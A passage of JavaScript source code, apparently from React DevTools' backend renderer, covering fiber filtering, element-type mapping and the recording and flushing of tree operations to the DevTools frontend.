no-for-of-loops/no-for-of-loops\n        for (const displayNameRegExp of hideElementsWithDisplayNames) {\n          if (displayNameRegExp.test(displayName)) {\n            return true;\n          }\n        }\n      }\n    }\n\n    if (\n      (data.env == null || hideElementsWithEnvs.has(data.env)) &&\n      (secondaryEnv === null || hideElementsWithEnvs.has(secondaryEnv))\n    ) {\n      // If a Component has two environments, you have to filter both for it not to appear.\n      return true;\n    }\n\n    return false;\n  }\n\n  // NOTICE Keep in sync with get*ForFiber methods\n  function shouldFilterFiber(fiber: Fiber): boolean {\n    const {tag, type, key} = fiber;\n\n    // It is never valid to filter the root element.\n    if (tag !== HostRoot && !isInFocusedActivity) {\n      return true;\n    }\n\n    switch (tag) {\n      case DehydratedSuspenseComponent:\n        // TODO: ideally we would show dehydrated Suspense immediately.\n        // However, it has some special behavior (like disconnecting\n        // an alternate and turning into real Suspense) which breaks DevTools.\n        // For now, ignore it, and only show it once it gets hydrated.\n        // https://github.com/bvaughn/react-devtools-experimental/issues/197\n        return true;\n      case HostPortal:\n      case HostText:\n      case LegacyHiddenComponent:\n      case OffscreenComponent:\n      case Throw:\n        return true;\n      case HostRoot:\n        // It is never valid to filter the root element.\n        return false;\n      case Fragment:\n        return key === null;\n      default:\n        const typeSymbol = getTypeSymbol(type);\n\n        switch (typeSymbol) {\n          case CONCURRENT_MODE_NUMBER:\n          case CONCURRENT_MODE_SYMBOL_STRING:\n          case DEPRECATED_ASYNC_MODE_SYMBOL_STRING:\n          case STRICT_MODE_NUMBER:\n          case STRICT_MODE_SYMBOL_STRING:\n            return true;\n          default:\n            break;\n        }\n    }\n\n    const elementType = getElementTypeForFiber(fiber);\n    if (hideElementsWithTypes.has(elementType)) {\n      return true;\n    }\n\n    if (hideElementsWithDisplayNames.size > 0) {\n      const displayName = getDisplayNameForFiber(fiber);\n      if (displayName != null) {\n        // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n        for (const displayNameRegExp of hideElementsWithDisplayNames) {\n          if (displayNameRegExp.test(displayName)) {\n            return true;\n          }\n        }\n      }\n    }\n\n    if (hideElementsWithEnvs.has('Client')) {\n      // If we're filtering out the Client environment we should filter out all\n      // \"Client Components\". Technically that also includes the built-ins but\n      // since that doesn't actually include any additional code loading it's\n      // useful to not filter out the built-ins. Those can be filtered separately.\n      // There's no other way to filter out just Function components on the Client.\n      // Therefore, this only filters Class and Function components.\n      switch (tag) {\n        case ClassComponent:\n        case IncompleteClassComponent:\n        case IncompleteFunctionComponent:\n        case FunctionComponent:\n        case IndeterminateComponent:\n        case ForwardRef:\n        case MemoComponent:\n        case SimpleMemoComponent:\n          return true;\n      }\n    }\n\n    /* DISABLED: https://github.com/facebook/react/pull/28417\n    if (hideElementsWithPaths.size > 0) {\n      const source = getSourceForFiber(fiber);\n\n      if (source != null) {\n        const {fileName} = source;\n        // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n        for (const pathRegExp of hideElementsWithPaths) {\n          if (pathRegExp.test(fileName)) {\n            return true;\n          }\n        }\n      }\n    }\n    */\n\n    return false;\n  }\n\n  // NOTICE Keep in sync with shouldFilterFiber() and other get*ForFiber methods\n  function getElementTypeForFiber(fiber: Fiber): ElementType {\n    const {type, tag} = fiber;\n\n    switch (tag) {\n      case ActivityComponent:\n        return ElementTypeActivity;\n      case ClassComponent:\n      case IncompleteClassComponent:\n        return ElementTypeClass;\n      case IncompleteFunctionComponent:\n      case FunctionComponent:\n      case IndeterminateComponent:\n        return ElementTypeFunction;\n      case ForwardRef:\n        return ElementTypeForwardRef;\n      case HostRoot:\n        return ElementTypeRoot;\n      case HostComponent:\n      case HostHoistable:\n      case HostSingleton:\n        return ElementTypeHostComponent;\n      case HostPortal:\n      case HostText:\n      case Fragment:\n        return ElementTypeOtherOrUnknown;\n      case MemoComponent:\n      case SimpleMemoComponent:\n        return ElementTypeMemo;\n      case SuspenseComponent:\n        return ElementTypeSuspense;\n      case SuspenseListComponent:\n        return ElementTypeSuspenseList;\n      case TracingMarkerComponent:\n        return ElementTypeTracingMarker;\n      case ViewTransitionComponent:\n        return ElementTypeViewTransition;\n      default:\n        const typeSymbol = getTypeSymbol(type);\n\n        switch (typeSymbol) {\n          case CONCURRENT_MODE_NUMBER:\n          case CONCURRENT_MODE_SYMBOL_STRING:\n          case DEPRECATED_ASYNC_MODE_SYMBOL_STRING:\n            return ElementTypeOtherOrUnknown;\n          case PROVIDER_NUMBER:\n          case PROVIDER_SYMBOL_STRING:\n            return ElementTypeContext;\n          case CONTEXT_NUMBER:\n          case CONTEXT_SYMBOL_STRING:\n            return ElementTypeContext;\n          case STRICT_MODE_NUMBER:\n          case STRICT_MODE_SYMBOL_STRING:\n            return ElementTypeOtherOrUnknown;\n          case PROFILER_NUMBER:\n          case PROFILER_SYMBOL_STRING:\n            return ElementTypeProfiler;\n          default:\n            return ElementTypeOtherOrUnknown;\n        }\n    }\n  }\n\n  // When a mount or update is in progress, this value tracks the root that is being operated on.\n  let currentRoot: FiberInstance = (null: any);\n\n  // Removes a Fiber (and its alternate) from the Maps used to track their id.\n  // This method should always be called when a Fiber is unmounting.\n  function untrackFiber(nearestInstance: DevToolsInstance, fiber: Fiber) {\n    if (forceErrorForFibers.size > 0) {\n      forceErrorForFibers.delete(fiber);\n      if (fiber.alternate) {\n        forceErrorForFibers.delete(fiber.alternate);\n      }\n      if (forceErrorForFibers.size === 0 && setErrorHandler != null) {\n        setErrorHandler(shouldErrorFiberAlwaysNull);\n      }\n    }\n\n    if (forceFallbackForFibers.size > 0) {\n      forceFallbackForFibers.delete(fiber);\n      if (fiber.alternate) {\n        forceFallbackForFibers.delete(fiber.alternate);\n      }\n      if (forceFallbackForFibers.size === 0 && setSuspenseHandler != null) {\n        setSuspenseHandler(shouldSuspendFiberAlwaysFalse);\n      }\n    }\n\n    // TODO: Consider using a WeakMap instead. The only thing where that doesn't work\n    // is React Native Paper which tracks tags but that support is eventually going away\n    // and can use the old findFiberByHostInstance strategy.\n\n    if (fiber.tag === HostHoistable) {\n      releaseHostResource(nearestInstance, fiber.memoizedState);\n    } else if (\n      fiber.tag === HostComponent ||\n      fiber.tag === HostText ||\n      fiber.tag === HostSingleton\n    ) {\n      releaseHostInstance(nearestInstance, fiber.stateNode);\n    }\n\n    // Recursively clean up any filtered Fibers below this one as well since\n    // we won't recordUnmount on those.\n    for (let child = fiber.child; child !== null; child = child.sibling) {\n      if (shouldFilterFiber(child)) {\n        untrackFiber(nearestInstance, child);\n      }\n    }\n  }\n\n  function getChangeDescription(\n    prevFiber: Fiber | null,\n    nextFiber: Fiber,\n  ): ChangeDescription | null {\n    switch (nextFiber.tag) {\n      case ClassComponent:\n        if (prevFiber === null) {\n          return {\n            context: null,\n            didHooksChange: false,\n            isFirstMount: true,\n            props: null,\n            state: null,\n          };\n        } else {\n          const data: ChangeDescription = {\n            context: getContextChanged(prevFiber, nextFiber),\n            didHooksChange: false,\n            isFirstMount: false,\n            props: getChangedKeys(\n              prevFiber.memoizedProps,\n              nextFiber.memoizedProps,\n            ),\n            state: getChangedKeys(\n              prevFiber.memoizedState,\n              nextFiber.memoizedState,\n            ),\n          };\n          return data;\n        }\n      case IncompleteFunctionComponent:\n      case FunctionComponent:\n      case IndeterminateComponent:\n      case ForwardRef:\n      case MemoComponent:\n      case SimpleMemoComponent:\n        if (prevFiber === null) {\n          return {\n            context: null,\n            didHooksChange: false,\n            isFirstMount: true,\n            props: null,\n            state: null,\n          };\n        } else {\n          const prevHooks = inspectHooks(prevFiber);\n          const nextHooks = inspectHooks(nextFiber);\n          const indices = getChangedHooksIndices(prevHooks, nextHooks);\n          const data: ChangeDescription = {\n            context: getContextChanged(prevFiber, nextFiber),\n            didHooksChange: indices !== null && indices.length > 0,\n            isFirstMount: false,\n            props: getChangedKeys(\n              prevFiber.memoizedProps,\n              nextFiber.memoizedProps,\n            ),\n            state: null,\n            hooks: indices,\n          };\n          // Only traverse the hooks list once, depending on what info we're returning.\n          return data;\n        }\n      default:\n        return null;\n    }\n  }\n\n  type OperationsArray = Array<number>;\n\n  type StringTableEntry = {\n    encodedString: Array<number>,\n    id: number,\n  };\n\n  const pendingOperations: OperationsArray = [];\n  const pendingRealUnmountedIDs: Array<FiberInstance['id']> = [];\n  const pendingRealUnmountedSuspenseIDs: Array<FiberInstance['id']> = [];\n  const pendingSuspenderChanges: Set<FiberInstance['id']> = new Set();\n  let pendingOperationsQueue: Array<OperationsArray> | null = [];\n  const pendingStringTable: Map<string, StringTableEntry> = new Map();\n  let pendingStringTableLength: number = 0;\n\n  function pushOperation(op: number): void {\n    if (__DEV__) {\n      if (!Number.isInteger(op)) {\n        console.error(\n          'pushOperation() was called but the value is not an integer.',\n          op,\n        );\n      }\n    }\n    pendingOperations.push(op);\n  }\n\n  function shouldBailoutWithPendingOperations() {\n    if (isProfiling) {\n      if (\n        currentCommitProfilingMetadata != null &&\n        currentCommitProfilingMetadata.durations.length > 0\n      ) {\n        return false;\n      }\n    }\n\n    return (\n      pendingOperations.length === 0 &&\n      pendingRealUnmountedIDs.length === 0 &&\n      pendingRealUnmountedSuspenseIDs.length === 0 &&\n      pendingSuspenderChanges.size === 0\n    );\n  }\n\n  function flushOrQueueOperations(operations: OperationsArray): void {\n    if (shouldBailoutWithPendingOperations()) {\n      return;\n    }\n\n    if (pendingOperationsQueue !== null) {\n      pendingOperationsQueue.push(operations);\n    } else {\n      hook.emit('operations', operations);\n    }\n  }\n\n  function recordConsoleLogs(\n    instance: FiberInstance | VirtualInstance,\n    componentLogsEntry: void | ComponentLogs,\n  ): boolean {\n    if (componentLogsEntry === undefined) {\n      if (instance.logCount === 0) {\n        // Nothing has changed.\n        return false;\n      }\n      // Reset to zero.\n      instance.logCount = 0;\n      pushOperation(TREE_OPERATION_UPDATE_ERRORS_OR_WARNINGS);\n      pushOperation(instance.id);\n      pushOperation(0);\n      pushOperation(0);\n      return true;\n    } else {\n      const totalCount =\n        componentLogsEntry.errorsCount + componentLogsEntry.warningsCount;\n      if (instance.logCount === totalCount) {\n        // Nothing has changed.\n        return false;\n      }\n      // Update counts.\n      instance.logCount = totalCount;\n      pushOperation(TREE_OPERATION_UPDATE_ERRORS_OR_WARNINGS);\n      pushOperation(instance.id);\n      pushOperation(componentLogsEntry.errorsCount);\n      pushOperation(componentLogsEntry.warningsCount);\n      return true;\n    }\n  }\n\n  /**\n   * Allowed to flush pending events without a specific root when:\n   * - pending operations don't record tree mutations e.g. TREE_OPERATION_UPDATE_ERRORS_OR_WARNINGS\n   * - not profiling (the commit tree builder requires the root of the mutations)\n   */\n  function flushPendingEvents(root: FiberInstance | null): void {\n    if (shouldBailoutWithPendingOperations()) {\n      // If we aren't profiling, we can just bail out here.\n      // No use sending an empty update over the bridge.\n      //\n      // The Profiler stores metadata for each commit and reconstructs the app tree per commit using:\n      // (1) an initial tree snapshot and\n      // (2) the operations array for each commit\n      // Because of this, it's important that the operations and metadata arrays align,\n      // So it's important not to omit even empty operations while profiling is active.\n      return;\n    }\n\n    const numUnmountIDs = pendingRealUnmountedIDs.length;\n    const numUnmountSuspenseIDs = pendingRealUnmountedSuspenseIDs.length;\n    const numSuspenderChanges = pendingSuspenderChanges.size;\n\n    const operations = new Array<number>(\n      // Identify which renderer this update is coming from.\n      2 + // [rendererID, rootFiberID]\n        // How big is the string table?\n        1 + // [stringTableLength]\n        // Then goes the actual string table.\n        pendingStringTableLength +\n        // All unmounts of Suspense boundaries are batched in a single message.\n        // [TREE_OPERATION_REMOVE_SUSPENSE, removedSuspenseIDLength, ...ids]\n        (numUnmountSuspenseIDs > 0 ? 2 + numUnmountSuspenseIDs : 0) +\n        // All unmounts are batched in a single message.\n        // [TREE_OPERATION_REMOVE, removedIDLength, ...ids]\n        (numUnmountIDs > 0 ? 2 + numUnmountIDs : 0) +\n        // Regular operations\n        pendingOperations.length +\n        // All suspender changes are batched in a single message.\n        // [SUSPENSE_TREE_OPERATION_SUSPENDERS, suspenderChangesLength, ...[id, hasUniqueSuspenders, endTime, isSuspended]]\n        (numSuspenderChanges > 0 ? 2 + numSuspenderChanges * 4 : 0),\n    );\n\n    // Identify which renderer this update is coming from.\n    // This enables roots to be mapped to renderers,\n    // Which in turn enables fiber props, states, and hooks to be inspected.\n    let i = 0;\n    operations[i++] = rendererID;\n    if (root === null) {\n      operations[i++] = -1;\n    } else {\n      operations[i++] = root.id;\n    }\n\n    // Now fill in the string table.\n    // [stringTableLength, str1Length, ...str1, str2Length, ...str2, ...]\n    operations[i++] = pendingStringTableLength;\n    pendingStringTable.forEach((entry, stringKey) => {\n      const encodedString = entry.encodedString;\n\n      // Don't use the string length.\n      // It won't work for multibyte characters (like emoji).\n      const length = encodedString.length;\n\n      operations[i++] = length;\n      for (let j = 0; j < length; j++) {\n        operations[i + j] = encodedString[j];\n      }\n\n      i += length;\n    });\n\n    if (numUnmountSuspenseIDs > 0) {\n      // All unmounts of Suspense boundaries are batched in a single message.\n      operations[i++] = SUSPENSE_TREE_OPERATION_REMOVE;\n      // The first number is how many unmounted IDs we're gonna send.\n      operations[i++] = numUnmountSuspenseIDs;\n      // Fill in the real unmounts in the reverse order.\n      // They were inserted parents-first by React, but we want children-first.\n      // So we traverse our array backwards.\n      for (let j = 0; j < pendingRealUnmountedSuspenseIDs.length; j++) {\n        operations[i++] = pendingRealUnmountedSuspenseIDs[j];\n      }\n    }\n\n    if (numUnmountIDs > 0) {\n      // All unmounts except roots are batched in a single message.\n      operations[i++] = TREE_OPERATION_REMOVE;\n      // The first number is how many unmounted IDs we're gonna send.\n      operations[i++] = numUnmountIDs;\n      // Fill in the real unmounts in the reverse order.\n      // They were inserted parents-first by React, but we want children-first.\n      // So we traverse our array backwards.\n      for (let j = 0; j < pendingRealUnmountedIDs.length; j++) {\n        operations[i++] = pendingRealUnmountedIDs[j];\n      }\n    }\n\n    // Fill in pending operations.\n    for (let j = 0; j < pendingOperations.length; j++) {\n      operations[i + j] = pendingOperations[j];\n    }\n    i += pendingOperations.length;\n\n    // Suspender changes might affect newly mounted nodes that we already recorded\n    // in pending operations.\n    if (numSuspenderChanges > 0) {\n      operations[i++] = SUSPENSE_TREE_OPERATION_SUSPENDERS;\n      operations[i++] = numSuspenderChanges;\n      pendingSuspenderChanges.forEach(fiberIdWithChanges => {\n        const suspense = idToSuspenseNodeMap.get(fiberIdWithChanges);\n        if (suspense === undefined) {\n          // Probably forgot to cleanup pendingSuspenderChanges when this node was removed.\n          throw new Error(\n            `Could not send suspender changes for \"${fiberIdWithChanges}\" since the Fiber no longer exists.`,\n          );\n        }\n        operations[i++] = fiberIdWithChanges;\n        operations[i++] = suspense.hasUniqueSuspenders ? 1 : 0;\n        operations[i++] = Math.round(suspense.endTime * 1000);\n        const instance = suspense.instance;\n        const isSuspended =\n          // TODO: Track if other SuspenseNode like SuspenseList rows are suspended.\n          (instance.kind === FIBER_INSTANCE ||\n            instance.kind === FILTERED_FIBER_INSTANCE) &&\n          instance.data.tag === SuspenseComponent &&\n          instance.data.memoizedState !== null;\n        operations[i++] = isSuspended ? 1 : 0;\n        operations[i++] = suspense.environments.size;\n        suspense.environments.forEach((count, env) => {\n          operations[i++] = getStringID(env);\n        });\n      });\n    }\n\n    // Let the frontend know about tree operations.\n    flushOrQueueOperations(operations);\n\n    // Reset all of the pending state now that we've told the frontend about it.\n    pendingOperations.length = 0;\n    pendingRealUnmountedIDs.length = 0;\n    pendingRealUnmountedSuspenseIDs.length = 0;\n    pendingSuspenderChanges.clear();\n    pendingStringTable.clear();\n    pendingStringTableLength = 0;\n  }\n\n  function measureHostInstance(instance: HostInstance): null | Array<Rect> {\n    // Feature detect measurement capabilities of this environment.\n    // TODO: Consider making this capability injected by the ReactRenderer.\n    if (typeof instance !== 'object' || instance === null) {\n      return null;\n    }\n    if (\n      typeof instance.getClientRects === 'function' ||\n      instance.nodeType === 3\n    ) {\n      // DOM\n      const doc = instance.ownerDocument;\n      if (instance === doc.documentElement) {\n        // This is the document element. The size of this element is not actually\n        // what determines the whole scrollable area of the screen. Because any\n        // thing that overflows the document will also contribute to the scrollable.\n        // This is unlike overflow: scroll which clips those.\n        // Therefore, we use the scrollable size for this rect instead.\n        return [\n          {\n            x: 0,\n            y: 0,\n            width: instance.scrollWidth,\n            height: instance.scrollHeight,\n          },\n        ];\n      }\n      const result: Array<Rect> = [];\n      const win = doc && doc.defaultView;\n      const scrollX = win ? win.scrollX : 0;\n      const scrollY = win ? win.scrollY : 0;\n      let rects;\n      if (instance.nodeType === 3) {\n        // Text nodes cannot be measured directly but we can measure a Range.\n        if (typeof doc.createRange !== 'function') {\n          return null;\n        }\n        const range = doc.createRange();\n        if (typeof range.getClientRects !== 'function') {\n          return null;\n        }\n        range.selectNodeContents(instance);\n        rects = range.getClientRects();\n      } else {\n        rects = instance.getClientRects();\n      }\n      for (let i = 0; i < rects.length; i++) {\n        const rect = rects[i];\n        result.push({\n          x: rect.x + scrollX,\n          y: rect.y + scrollY,\n          width: rect.width,\n          height: rect.height,\n        });\n      }\n      return result;\n    }\n    if (instance.canonical) {\n      // Native\n      const publicInstance = instance.canonical.publicInstance;\n      if (!publicInstance) {\n        // The publicInstance may not have been initialized yet if there was no ref on this node.\n        // We can't initialize it from any existing Hook but we could fallback to this async form:\n        // renderer.extraDevToolsConfig.getInspectorDataForInstance(instance).hierarchy[last].getInspectorData().measure(callback)\n        return null;\n      }\n      if (typeof publicInstance.getBoundingClientRect === 'function') {\n        // enableAccessToHostTreeInFabric / ReadOnlyElement\n        return [publicInstance.getBoundingClientRect()];\n      }\n      if (typeof publicInstance.unstable_getBoundingClientRect === 'function') {\n        // ReactFabricHostComponent\n        return [publicInstance.unstable_getBoundingClientRect()];\n      }\n    }\n    return null;\n  }\n\n  function measureInstance(instance: DevToolsInstance): null | Array<Rect> {\n    // Synchronously return the client rects of the Host instances directly inside this Instance.\n    const hostInstances = findAllCurrentHostInstances(instance);\n    let result: null | Array<Rect> = null;\n    for (let i = 0; i < hostInstances.length; i++) {\n      const childResult = measureHostInstance(hostInstances[i]);\n      if (childResult !== null) {\n        if (result === null) {\n          result = childResult;\n        } else {\n          result = result.concat(childResult);\n        }\n      }\n    }\n    return result;\n  }\n\n  function getStringID(string: string | null): number {\n    if (string === null) {\n      return 0;\n    }\n    const existingEntry = pendingStringTable.get(string);\n    if (existingEntry !== undefined) {\n      return existingEntry.id;\n    }\n\n    const id = pendingStringTable.size + 1;\n    const encodedString = utfEncodeString(string);\n\n    pendingStringTable.set(string, {\n      encodedString,\n      id,\n    });\n\n    // The string table total length needs to account both for the string length,\n    // and for the array item that contains the length itself.\n    //\n    // Don't use string length for this table.\n    // It won't work for multibyte characters (like emoji).\n    pendingStringTableLength += encodedString.length + 1;\n\n    return id;\n  }\n\n  let isInDisconnectedSubtree = false;\n\n  function recordMount(\n    fiber: Fiber,\n    parentInstance: DevToolsInstance | null,\n  ): FiberInstance {\n    const isRoot = fiber.tag === HostRoot;\n    let fiberInstance;\n    if (isRoot) {\n      const entry = rootToFiberInstanceMap.get(fiber.stateNode);\n      if (entry === undefined) {\n        throw new Error('The root should have been registered at this point');\n      }\n      fiberInstance = entry;\n    } else {\n      fiberInstance = createFiberInstance(fiber);\n    }\n    idToDevToolsInstanceMap.set(fiberInstance.id, fiberInstance);\n\n    if (__DEBUG__) {\n      debug('recordMount()', fiberInstance, parentInstance);\n    }\n\n    recordReconnect(fiberInstance, parentInstance);\n    return fiberInstance;\n  }\n\n  function recordReconnect(\n    fiberInstance: FiberInstance,\n    parentInstance: DevToolsInstance | null,\n  ): void {\n    if (isInDisconnectedSubtree) {\n      // We're disconnected. We'll reconnect a hidden mount after the parent reappears.\n      return;\n    }\n    const id = fiberInstance.id;\n    const fiber = fiberInstance.data;\n\n    const isProfilingSupported = fiber.hasOwnProperty('treeBaseDuration');\n\n    const isRoot = fiber.tag === HostRoot;\n\n    if (isRoot) {\n      const hasOwnerMetadata = fiber.hasOwnProperty('_debugOwner');\n\n      // Adding a new field here would require a bridge protocol version bump (a backwads breaking change).\n      // Instead let's re-purpose a pre-existing field to carry more information.\n      let profilingFlags = 0;\n      if (isProfilingSupported) {\n        profilingFlags = PROFILING_FLAG_BASIC_SUPPORT;\n        if (typeof injectProfilingHooks === 'function') {\n          profilingFlags |= PROFILING_FLAG_TIMELINE_SUPPORT;\n        }\n        if (supportsPerformanceTracks) {\n          profilingFlags |= PROFILING_FLAG_PERFORMANCE_TRACKS_SUPPORT;\n        }\n      }\n\n      // Set supportsStrictMode to false for production renderer builds\n      const isProductionBuildOfRenderer = renderer.bundleType === 0;\n\n      pushOperation(TREE_OPERATION_ADD);\n      pushOperation(id);\n      pushOperation(ElementTypeRoot);\n      pushOperation((fiber.mode & StrictModeBits) !== 0 ? 1 : 0);\n      pushOperation(profilingFlags);\n      pushOperation(\n        !isProductionBuildOfRenderer && StrictModeBits !== 0 ? 1 : 0,\n      );\n      pushOperation(hasOwnerMetadata ? 1 : 0);\n\n      if (isProfiling) {\n        if (displayNamesByRootID !== null) {\n          displayNamesByRootID.set(id, getDisplayNameForRoot(fiber));\n        }\n      }\n    } else {\n      const suspenseNode = fiberInstance.suspenseNode;\n      if (suspenseNode !== null && fiber.memoizedState === null) {\n        // We're reconnecting an unsuspended Suspense. Measure to see if anything changed.\n        const prevRects = suspenseNode.rects;\n        const nextRects = measureInstance(fiberInstance);\n        if (!areEqualRects(prevRects, nextRects)) {\n          suspenseNode.rects = nextRects;\n          recordSuspenseResize(suspenseNode);\n        }\n      }\n\n      const {key} = fiber;\n      const displayName = getDisplayNameForFiber(fiber);\n      const elementType = getElementTypeForFiber(fiber);\n\n      // Finding the owner instance might require traversing the whole parent path which\n      // doesn't have great big O notation. Ideally we'd lazily fetch the owner when we\n      // need it but we have some synchronous operations in the front end like Alt+Left\n      // which selects the owner immediately. Typically most owners are only a few parents\n      // away so maybe it's not so bad.\n      const debugOwner = getUnfilteredOwner(fiber);\n      const ownerInstance = findNearestOwnerInstance(\n        parentInstance,\n        debugOwner,\n      );\n      if (\n        ownerInstance !== null &&\n        debugOwner === fiber._debugOwner &&\n        fiber._debugStack != null &&\n        ownerInstance.source === null\n      ) {\n        // The new Fiber is directly owned by the ownerInstance. Therefore somewhere on\n        // the debugStack will be a stack frame inside the ownerInstance's source.\n        ownerInstance.source = fiber._debugStack;\n      }\n\n      let unfilteredParent = parentInstance;\n      while (\n        unfilteredParent !== null &&\n        unfilteredParent.kind === FILTERED_FIBER_INSTANCE\n      ) {\n        unfilteredParent = unfilteredParent.parent;\n      }\n\n      const ownerID = ownerInstance === null ? 0 : ownerInstance.id;\n      const parentID = unfilteredParent === null ? 0 : unfilteredParent.id;\n\n      const displayNameStringID = getStringID(displayName);\n\n      // This check is a guard to handle a React element that has been modified\n      // in such a way as to bypass the default stringification of the \"key\" property.\n      const keyString =\n        key === null\n          ? null\n          : key === REACT_OPTIMISTIC_KEY\n            ? 'React.optimisticKey'\n            : String(key);\n      const keyStringID = getStringID(keyString);\n\n      const nameProp =\n        fiber.tag === SuspenseComponent\n          ? fiber.memoizedProps.name\n          : fiber.tag === ActivityComponent\n            ? fiber.memoizedProps.name\n            : null;\n      const namePropString = nameProp == null ? null : String(nameProp);\n      const namePropStringID = getStringID(namePropString);\n\n      pushOperation(TREE_OPERATION_ADD);\n      pushOperation(id);\n      pushOperation(elementType);\n      pushOperation(parentID);\n      pushOperation(ownerID);\n      pushOperation(displayNameStringID);\n      pushOperation(keyStringID);\n      pushOperation(namePropStringID);\n\n      // If this subtree has a new mode, let the frontend know.\n      if ((fiber.mode & StrictModeBits) !== 0) {\n        let parentFiber = null;\n        let parentFiberInstance = parentInstance;\n        while (parentFiberInstance !== null) {\n          if (parentFiberInstance.kind === FIBER_INSTANCE) {\n            parentFiber = parentFiberInstance.data;\n            break;\n          }\n          parentFiberInstance = parentFiberInstance.parent;\n        }\n        if (parentFiber === null || (parentFiber.mode & StrictModeBits) === 0) {\n          pushOperation(TREE_OPERATION_SET_SUBTREE_MODE);\n          pushOperation(id);\n          pushOperation(StrictMode);\n        }\n      }\n\n      // If this is an Activity component, check if it's hidden.\n      if (fiber.tag === ActivityComponent) {\n        const offscreenChild = fiber.child;\n        if (\n          offscreenChild !== null &&\n          offscreenChild.tag === OffscreenComponent &&\n          offscreenChild.memoizedState !== null\n        ) {\n          pushOperation(TREE_OPERATION_SET_SUBTREE_MODE);\n          pushOperation(id);\n          pushOperation(ActivityHiddenMode);\n        }\n      }\n    }\n\n    let componentLogsEntry = fiberToComponentLogsMap.get(fiber);\n    if (componentLogsEntry === undefined && fiber.alternate !== null) {\n      componentLogsEntry = fiberToComponentLogsMap.get(fiber.alternate);\n    }\n    recordConsoleLogs(fiberInstance, componentLogsEntry);\n\n    if (isProfilingSupported) {\n      recordProfilingDurations(fiberInstance, null);\n    }\n  }\n\n  function recordVirtualMount(\n    instance: VirtualInstance,\n    parentInstance: DevToolsInstance | null,\n    secondaryEnv: null | string,\n  ): void {\n    const id = instance.id;\n\n    idToDevToolsInstanceMap.set(id, instance);\n\n    recordVirtualReconnect(instance, parentInstance, secondaryEnv);\n  }\n\n  function recordVirtualReconnect(\n    instance: VirtualInstance,\n    parentInstance: DevToolsInstance | null,\n    secondaryEnv: null | string,\n  ): void {\n    if (isInDisconnectedSubtree) {\n      // We're disconnected. We'll reconnect a hidden mount after the parent reappears.\n      return;\n    }\n    const componentInfo = instance.data;\n\n    const key =\n      typeof componentInfo.key === 'string' ? componentInfo.key : null;\n    const env = componentInfo.env;\n    let displayName = componentInfo.name || '';\n    if (typeof env === 'string') {\n      // We model environment as an HoC name for now.\n      if (secondaryEnv !== null) {\n        displayName = secondaryEnv + '(' + displayName + ')';\n      }\n      displayName = env + '(' + displayName + ')';\n    }\n    const elementType = ElementTypeVirtual;\n\n    // Finding the owner instance might require traversing the whole parent path which\n    // doesn't have great big O notation. Ideally we'd lazily fetch the owner when we\n    // need it but we have some synchronous operations in the front end like Alt+Left\n    // which selects the owner immediately. Typically most owners are only a few parents\n    // away so maybe it's not so bad.\n    const debugOwner = getUnfilteredOwner(componentInfo);\n    const ownerInstance = findNearestOwnerInstance(parentInstance, debugOwner);\n    if (\n      ownerInstance !== null &&\n      debugOwner === componentInfo.owner &&\n      componentInfo.debugStack != null &&\n      ownerInstance.source === null\n    ) {\n      // The new Fiber is directly owned by the ownerInstance. Therefore somewhere on\n      // the debugStack will be a stack frame inside the ownerInstance's source.\n      ownerInstance.source = componentInfo.debugStack;\n    }\n\n    let unfilteredParent = parentInstance;\n    while (\n      unfilteredParent !== null &&\n      unfilteredParent.kind === FILTERED_FIBER_INSTANCE\n    ) {\n      unfilteredParent = unfilteredParent.parent;\n    }\n\n    const ownerID = ownerInstance === null ? 0 : ownerInstance.id;\n    const parentID = unfilteredParent === null ? 0 : unfilteredParent.id;\n\n    const displayNameStringID = getStringID(displayName);\n\n    // This check is a guard to handle a React element that has been modified\n    // in such a way as to bypass the default stringification of the \"key\" property.\n    const keyString = key === null ? null : String(key);\n    const keyStringID = getStringID(keyString);\n    const namePropStringID = getStringID(null);\n\n    const id = instance.id;\n\n    pushOperation(TREE_OPERATION_ADD);\n    pushOperation(id);\n    pushOperation(elementType);\n    pushOperation(parentID);\n    pushOperation(ownerID);\n    pushOperation(displayNameStringID);\n    pushOperation(keyStringID);\n    pushOperation(namePropStringID);\n\n    const componentLogsEntry =\n      componentInfoToComponentLogsMap.get(componentInfo);\n    recordConsoleLogs(instance, componentLogsEntry);\n  }\n\n  function recordSuspenseMount(\n    suspenseInstance: SuspenseNode,\n    parentSuspenseInstance: SuspenseNode | null,\n  ): void {\n    const fiberInstance = suspenseInstance.instance;\n    if (fiberInstance.kind === FILTERED_FIBER_INSTANCE) {\n      throw new Error('Cannot record a mount for a filtered Fiber instance.');\n    }\n    const fiberID = fiberInstance.id;\n\n    let unfilteredParent = parentSuspenseInstance;\n    while (\n      unfilteredParent !== null &&\n      unfilteredParent.instance.kind === FILTERED_FIBER_INSTANCE\n    ) {\n      unfilteredParent = unfilteredParent.parent;\n    }\n    const unfilteredParentInstance =\n      unfilteredParent !== null ? unfilteredParent.instance : null;\n    if (\n      unfilteredParentInstance !== null &&\n      unfilteredParentInstance.kind === FILTERED_FIBER_INSTANCE\n    ) {\n      throw new Error(\n        'Should not have a filtered instance at this point. This is a bug.',\n      );\n    }\n    const parentID =\n      unfilteredParentInstance === null ? 0 : unfilteredParentInstance.id;\n\n    const fiber = fiberInstance.data;\n    const props = fiber.memoizedProps;\n    // The frontend will guess a name based on heuristics (e.g. owner) if no explicit name is given.\n    const name =\n      fiber.tag !== SuspenseComponent || props === null\n        ? null\n        : props.name || null;\n    const nameStringID = getStringID(name);\n\n    const isSuspended =\n      fiber.tag === SuspenseComponent && fiber.memoizedState !== null;\n\n    if (__DEBUG__) {\n      console.log('recordSuspenseMount()', suspenseInstance);\n    }\n\n    idToSuspenseNodeMap.set(fiberID, suspenseInstance);\n\n    pushOperation(SUSPENSE_TREE_OPERATION_ADD);\n    pushOperation(fiberID);\n    pushOperation(parentID);\n    pushOperation(nameStringID);\n    pushOperation(isSuspended ? 1 : 0);\n\n    const rects = suspenseInstance.rects;\n    if (rects === null) {\n      pushOperation(-1);\n    } else {\n      pushOperation(rects.length);\n      for (let i = 0; i < rects.length; ++i) {\n        const rect = rects[i];\n        pushOperation(Math.round(rect.x * 1000));\n        pushOperation(Math.round(rect.y * 1000));\n        pushOperation(Math.round(rect.width * 1000));\n        pushOperation(Math.round(rect.height * 1000));\n      }\n    }\n  }\n\n  function recordUnmount(fiberInstance: FiberInstance): void {\n    if (__DEBUG__) {\n      debug('recordUnmount()', fiberInstance, reconcilingParent);\n    }\n\n    recordDisconnect(fiberInstance);\n\n    const 